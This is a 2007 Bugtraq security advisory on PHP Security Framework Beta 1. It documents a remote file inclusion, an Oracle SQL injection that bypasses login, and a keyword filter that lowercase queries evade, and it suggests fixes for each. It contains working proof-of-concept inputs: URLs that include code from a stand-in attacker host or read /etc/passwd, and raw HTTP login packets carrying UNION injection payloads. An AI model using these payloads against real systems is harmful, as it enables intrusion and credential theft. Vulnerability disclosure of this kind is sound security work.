Message-ID: <20071216184808.14362.qmail@securityfocus.com>
Date: 16 Dec 2007 18:48:08 -0000
From: gmdarkfig@...il.com
To: bugtraq@...urityfocus.com
Subject: PHP Security Framework: Vuln and Security Bypass

       Title:   PHP Security Framework (Beta 1)
                Multiple Vulnerabilities and Security Bypass

      Vendor:   http://benjilenoob.66ghz.com/projects/

    Advisory:   http://acid-root.new.fr/?0:16
      Author:   DarkFig < gmdarkfig (at) gmail (dot) com >

 Released on:   2007/12/16
   Changelog:   2007/12/16

     Summary:   [HT] Remote File Inclusion
                [MT] SQL Injection
                [MT] SQL Injection Protection Bypass
                [__] Conclusion

      Legend:   L - Low risk         M - Medium risk
                H - High risk        T - Tested

  Risk level:   High
         CVE:   ----------



  I - REMOTE FILE INCLUSION

  The file "lib/base.inc.php" contains the following code:

  10| include_once("$MODEL_DIR/FrameworkPage.class.php");
  15| include_once("$COMMON_DIR/adodb/adodb-active-record.inc.php");
  26| include_once("$DAO_DIR/Administrator.class.php");
  35| include_once("$LOGIC_DIR/AdministratorLogic.class.php");

  As you can see, all variables aren't sanatized before
  being used. So this can lead to RFI if the php directives
  allow_url_fopen and allow_url_include are set to On. This
  can also lead to LFI if the php directive magic_quotes_gpc
  is set to Off.

  Proof Of Concept:
  http://localhost/PSF/lib/base.inc.php?MODEL_DIR=http://hacker.com/
  http://localhost/PSF/lib/base.inc.php?DAO_DIR=/etc/passwd%00

  The author shouldn't use variables for the inclusions, the
  best way to protect against this type of vulnerability is
  to use constants because they can't be registered by
  register_globals if they're properly defined (no variables
  used).



  II - SQL INJECTION

  The script supports several server databases, Oracle
  included. So the script must also be secured for this type
  of server database.

  In a recent research that I have done, I found that
  60% of the PHP scripts which support Oracle aren't safe !
  People think that if they use the function addslashes()
  on a string which has quotes, they'll be secured
  against SQL Injection. On MySQL that's roughly true, but
  on Oracle that's wrong.

  The escape character for MySQL is a backslashes, \x92[\].
  The escape character for Oracle is a single quote, \x39['].

  The script has a user interface for the administrators.
  The file "lib/control/AuthentificationController.class.php"
  contains the following code:

   4| public function __construct()
   5| {
   6| $FrameworkPage = FrameworkPage::getInstance();
   7| $FrameworkPage->setHeadTitle("Authenfication Form");
   8| $FrameworkPage->setPageTitle("PHPSecurityFramework");
   9|         
  10| if(isset($_REQUEST['username']) && isset($_REQUEST['password']))
  11| $this->Login($_REQUEST['username'], $_REQUEST['password']);
  12| }
  13|     
  14| public function Login($username, $password)
  15| {
  16| $username = addslashes($username);
  17| $password = md5($password);
  18| $AdministratorLogic = new AdministratorLogic();
  19|         
  20| if($AdministratorLogic->validateAdministrator($username,$password))
  22| session_register('psf_admin');

  The function addslashes() is applied to $username, after
  the function valideAdministrator() is called with two
  parameters. This function contains the following code:

  10| public function validateAdministrator($username, $password)
  11| {
  12| if(is_string($username) && is_string($password))
  13| {
  14| $Admin = new Administrator();
  15| 
  16| if( ($Admin->load("username=?", array($username))) !==false)
  17| {
  18| 	if($Admin->md5password==$password)
  19| 		return true;

  The code for the Administrator class is situated in the
  file "lib/dao/Administrator.class.php":

  2| class Administrator extends ADOdb_Active_Record
  3| {
  4| 	public $_table = 'psf_administrator';
  5| }

  The function load() contains this code (situated in
  "lib/common/adodb/adodb-active-record.inc.php"):

  384| 	function Load($where,$bindarr=false)
  385| 	{
  386| 	$db =& $this->DB(); if (!$db) return false;
  387| 	$this->_where = $where;
  388| 	
  389| 	$save = $db->SetFetchMode(ADODB_FETCH_NUM);
  390| 	$row = $db->GetRow("select * from ".$this->_table.' WHERE '.$where,$bindarr);
  391| 	$db->SetFetchMode($save);
  392| 		
  393| 	return $this->Set($row);
  394| 	}

  I will take an example to explain how it works.
  Let's send this HTTP packet:

  POST /PSF/index.php?page=authentification HTTP/1.1\r\n
  Host: localhost\r\n
  Connection: keep-alive\r\n
  Content-Type: application/x-www-form-urlencoded\r\n
  Content-Length: 66\r\n\r\n
  username=root%27&password=toor&page=authentification&button=Log+in\r\n\r\n

  The SQL request will be like this:
  select * from psf_administrator WHERE username='root\\\\\\\\\\\\\\\''

  If we're on MySQL there's no problem, but if we're on
  Oracle, this return an error: ORA-01756: quoted string
  not properly terminated. This can be exploited, for 
  example if you want to bypass the authentification
  protection, send the following HTTP packet:

  POST /PSF/index.php?page=authentification HTTP/1.1\r\n
  Host: localhost\r\n
  Connection: keep-alive\r\n
  Content-Type: application/x-www-form-urlencoded\r\n
  Content-Length: <SIZE>\r\n\r\n
  username=8%27+union+select+CHR%2856%29%2CCHR%2857%29%2CCHR%2857%29
  %2CCHR%2857%29+FROM+psf_administrator-----------&password=9&page=a
  uthentification&button=Log+in\r\n\r\n

  The SQL request will look's like this:
  select * from psf_administrator WHERE username='8\\\\\\\\\\\\\\\'
  union select CHR(56),CHR(57),CHR(57),CHR(57) FROM psf_administr
  ator-----------'

  So the function validateAdministrator() will return TRUE.
  The protection will be bypassed, even if magic_quotes_gpc
  is enabled. To protect against SQL Injection with quotes
  on Oracle servers, we must replace each ' by ''. We can
  do that with str_replace() or by enabling the PHP
  directive magic_quotes_sybase.
  


  III - SQL INJECTION PROTECTION BYPASS

  From the file "lib/common/SecureHttpRequest.class.php":

   94| * Function: PreventFromSqlInjection()
   95| * $param:  $string_to_parse
   96| * 
   97| * This function prevent from some sql injection that does
   98| * not require any quote.
   99| * Exemple: index.php?id=1 UNION SELECT user, password ...
  100| * 
  101| * It will return a secure string.

  By seeing this comment and how the function is called, I
  know that they'll be a filter against SQL Injections.
  Let's see how the string is secured:

  105| if(is_string($string_to_parse) and !empty($string_to_parse))
  106| {
  111| 	  $keywords =
     |    array('UNION','OUTFILE','DUMPFILE','ORDER','SELECT');
     |
  112| 	  foreach($keywords as $keyword)
     |
  113| 	  $string_to_parse =
     |    str_replace($keyword, "_$keyword", $string_to_parse);
  114| 		
  115| 	  return $string_to_parse;
  116| }

  The str_replace() function is case sensitive, so we can
  bypass this protection by using SQL commands with lower
  case. In other case the attacker doesn't need these commands
  to perform an SQL Injection attack, a filter protection
  can't protect completely against this type of attack.
  Let's take the example from the file "examples/noQuoteSql
  Injection.test.php":

   1| Try some UNION and co stuff to display the administrator
    | password in the client table
   2| <hr>
   3| <?php
    |
   4| // SELECT title, message FROM news WHERE news.id = 1 UNION
    |    SELECT username, password FROM client WHERE client.id = 1
    |    INTO OUTFILE 'c:/hacked.txt'
    |
   5| include_once("../PHPSecFramework/getsecure.php");
    |
   6| mysql_connect('localhost', 'root', 'vertrigo');
   7| mysql_select_db('hackme');
    |
   8| $query = mysql_query("SELECT title, message FROM news WHERE
    | news.id = " . $_GET['id']);
    |
   9| $result = mysql_fetch_array($query);
  10| print_r($result);
  11| ?>

  What if we try to send this content:
  ?id=-1 union select username,password from client limit 1

  The protection is bypassed and the SQL Injection is
  exploited. If the author wanna apply his filter
  completely, he must use the function str_ireplace().



  IV - CONCLUSION

  The goal of the project is interesting, but how it was
  made, can't conduct to its success. For example,
  SQL Injections with quotes are protected by doing the
  same thing as magic_quotes_gpc, this didn't resolve its
  problems.

  Before doing something which depends on what the user
  has sent, we must analyze all data before using them.

  Applying a filter won't be enough, we must code
  an algorithm which protects perfectly against each type
  of attack, even if we have to replace basic functions.

  I hope this advisory will change the way this project
  is going on.

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